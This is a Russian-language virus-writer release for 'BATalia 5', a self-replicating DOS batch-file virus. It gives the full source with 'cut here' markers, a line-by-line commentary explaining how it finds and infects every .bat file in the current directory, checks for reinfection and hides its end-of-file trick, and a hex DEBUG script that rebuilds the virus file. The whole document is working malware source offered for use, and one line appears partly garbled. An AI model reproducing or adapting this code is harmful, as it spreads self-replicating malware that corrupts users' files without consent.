BATalia 5 by Reminder Достоинства - Написан исключительно на внутренних командах DOS`a. - Никаких вставок на ASM - Инсталлируется из одного файла - Не таскает за собой все зараженные файлы - Проверка на повторное заражение - Корректная работа с ECHO (ON / OFF) - Не выдает посторонних надписей на экран и Недостатки: - Не будут корректно исполняться файлы с метками, которые присутствуют в вирусе - (:s :i :b :e) - Не будет корректно работать при %COMSPEC% =! COMMAND.COM - Создает в каталоге C:\DOS - два файла, которые затем не удаляет. ( данные файлы рекомендуется смотреть, чтобы понять принцип работы вируса) Файл BATALIA5.BAT - исходник и запускаемый файл - самого вируса ;=============================== резать тут ============================= @echo off rem YYY if "%1"=="5" goto s for %%b in (*.bat) do call %0 5 %%b goto b :s copy %2 p>l echo NNN>>p echo 1>z1 echo 2>z2 echo 3>z3 del z?/p

l if exist z? goto i goto e :i type %0>b copy b a/a>l copy %2 t>l copy /ba+t %2>l goto e :b echo rem >x copy x+x+x+x y>l copy y+y+y+y+y+y z>l echo @%%comspec%% nul /ccopy c:\dos\y %%0>>z copy z c:\dos\x>l copy %0 c:\dos\y>l del ??>l echo on @copy c:\dos\x %0>nul :e :[BATalia-5] (c) by Reminder ;=============================== резать тут ============================= Вирус должен занимать 491 байт и завершаться байтами 0d,0a,1a после строки Reminder Комментарии к вирусу ;=============================== резать тут ============================= ;(c) by Reminder (New Original BAT-VIRII) (Without ASM) (Only internal DOS) @echo off ; эхо AKA "ОТОБРАЖЕНИЕ КОМАНД" выключено rem YYY ; Метка вируса if "%1"=="5" goto s ; если вызван с параметром 2 то собсно обработчик for %%b in (*.bat) do call %0 5 %%b ; Перебор всех батников в текущем каталоге ; и если найден хоть один, то вызов себя же с параметрами [2] и [имя батника] goto b ; конец перебора - отдать управление зараженной программе :s ; начало обработчика copy %2 p>l ; скопировать найденный батник в p echo NNN>>p ; добавить в конец p строку NNN echo 1>z1 ; создать файл z1 со строкой 1 echo 2>z2 ; создать файл z2 со строкой 2 echo 3>z3 ; создать файл z3 со строкой 3 del z?/p

l ; Происходит удаление созданных 3 файлов, на основе ; информации, полученной из найденного батника (в дальнейшем - батника) ; если батник уже заражен нами - то произойдет удаление всех файлов - ; ( строка YYY в начале вируса ) - если в теле батника нет нужных букв ; N или Y - то строка NNN добавленная нами в конец батника не даст ; застыть команде DEL в ожидании нажатия на клавиатуру. if exist z? goto i ; если существует хоть один файл Z? - то батник ; не заражен вирусом и поэтому подлежит заражению. goto e ; если вдруг батник уже с вирусом - вернемся к перебору. :i ; процедура заражения type %0>b ; скопировать чистый вирус (до байта 0A) в файл b copy b a/a>l ; скопировать чистый вирус в файл a с добавлением 0A в конец copy %2 t>l ; скопировать батник в файл t copy /ba+t %2>l ; скопировать вирус с 0A + t в батник (внедрится в начало) goto e ; продолжить перебор :b ; Процедура передачи управления старой (нашей) проге echo rem >x ; деоаем файл x со строкой rem, пробелами и ентером copy x+x+x+x y>l ; файл y уже будет содержать 4 rem`а, пробелы и 4 ентера copy y+y+y+y+y+y z>l ; файл z будет содержать 24 rem`a, пробелы и 24 ентера echo @%%comspec%% nul /ccopy c:\dos\y %%0>>z ; в конец файла z добавляется ; вышеследующая строка copy z c:\dos\x>l ; и этот файл z - копируется в c:\dos\x copy %0 c:\dos\y>l ; а наша (исполняемая) прога в c:\dos\y del ??>l ; удаляем все промежуточные файлы echo on ; эхо включено @copy c:\dos\x %0>nul ; --------- :e ; | :[BATalia-5] (c) by Reminder ; | ; < ; копиpуется наш c:\dos\x AKA z в текущий batник ; и начинает испонятся вместо :e и т.д. ; со стpочкой @%comspec% nul /ccopy c:\dos\y %0 ; запускается копия комманд кома - на одну команду - копирование ; ( nul - это чтобы ничего на экран не показывать.) ; и соответсно c:\dos\y преврашается в %0, ; то есть восстанавливает наш батник ; то есть смысл в том: ; в конце нашего виpуса стоит 1A - конец TXT файла. ; когда исполняется batник то пpи встpече 1A он ; заканчивает pаботу. HО нам же надо исполнить заpаженный ; файл и посему я пеpехожу ЗА 1A без его исполнения. ; Это делается таким обpазом: ; Исполняется batник, и вдpуг, пpямо пеpед испонением 1A ; его заменяют на дpугой,только что созданный, ; и вот он вместо 1A делает copy [сохpаненный batник] [текущий batник] ; то есть копиpует стаpый, сохpаненный пpедваpительно batник ; обpатно и он начинает испонятся дальше, пpопустив 1A. ; последовательность исполняемых команд: ; copy c:\dos\x %0 >nul ; copy c:\dos\y %0 [ без nul ] ; оpигинальное тело заpаженного batника ; пpопустив :e,:[BATalia-5] ... ,1A. ;================================ резать тут ============================== Вирус в виде дебаговского скрипта Файл BATALIA5.SCR - файл вырезать и запустить так: DEBUG < BATALIA5.SCR и получите в текущем каталоге файл BATALIA5.BAT ;================================ резать тут ============================== N BATALIA5.BAT E 0100 40 65 63 68 6F 20 6F 66 66 0D 0A 72 65 6D 20 59 E 0110 59 59 0D 0A 69 66 20 22 25 31 22 3D 3D 22 35 22 E 0120 20 67 6F 74 6F 20 73 0D 0A 66 6F 72 20 25 25 62 E 0130 20 69 6E 20 28 2A 2E 62 61 74 29 20 64 6F 20 63 E 0140 61 6C 6C 20 25 30 20 35 20 25 25 62 0D 0A 67 6F E 0150 74 6F 20 62 0D 0A 3A 73 0D 0A 63 6F 70 79 20 25 E 0160 32 20 70 3E 6C 0D 0A 65 63 68 6F 20 4E 4E 4E 3E E 0170 3E 70 0D 0A 65 63 68 6F 20 31 3E 7A 31 0D 0A 65 E 0180 63 68 6F 20 32 3E 7A 32 0D 0A 65 63 68 6F 20 33 E 0190 3E 7A 33 0D 0A 64 65 6C 20 7A 3F 2F 70 3C 70 3E E 01A0 6C 0D 0A 69 66 20 65 78 69 73 74 20 7A 3F 20 67 E 01B0 6F 74 6F 20 69 0D 0A 67 6F 74 6F 20 65 0D 0A 3A E 01C0 69 0D 0A 74 79 70 65 20 25 30 3E 62 0D 0A 63 6F E 01D0 70 79 20 62 20 61 2F 61 3E 6C 0D 0A 63 6F 70 79 E 01E0 20 25 32 20 74 3E 6C 0D 0A 63 6F 70 79 20 2F 62 E 01F0 61 2B 74 20 25 32 3E 6C 0D 0A 67 6F 74 6F 20 65 E 0200 0D 0A 3A 62 0D 0A 65 63 68 6F 20 72 65 6D 20 20 E 0210 20 20 20 20 20 20 20 20 20 20 20 20 00 3E 78 0D E 0220 0A 63 6F 70 79 20 78 2B 78 2B 78 2B 78 20 79 3E E 0230 6C 0D 0A 63 6F 70 79 20 79 2B 79 2B 79 2B 79 2B E 0240 79 2B 79 20 7A 3E 6C 0D 0A 65 63 68 6F 20 40 25 E 0250 25 63 6F 6D 73 70 65 63 25 25 20 6E 75 6C 20 2F E 0260 63 63 6F 70 79 20 63 3A 5C 64 6F 73 5C 79 20 25 E 0270 25 30 3E 3E 7A 0D 0A 63 6F 70 79 20 7A 20 63 3A E 0280 5C 64 6F 73 5C 78 3E 6C 0D 0A 63 6F 70 79 20 25 E 0290 30 20 63 3A 5C 64 6F 73 5C 79 3E 6C 0D 0A 64 65 E 02A0 6C 20 3F 3F 3E 6C 0D 0A 65 63 68 6F 20 6F 6E 0D E 02B0 0A 40 63 6F 70 79 20 63 3A 5C 64 6F 73 5C 78 20 E 02C0 25 30 3E 6E 75 6C 0D 0A 3A 65 0D 0A 3A 5B 42 41 E 02D0 54 61 6C 69 61 2D 35 5D 20 28 63 29 20 62 79 20 E 02E0 52 65 6D 69 6E 64 65 72 0D 0A 1A RCX 01EB W Q ;================================ резать тут ============================== (c) by Reminder [DVC]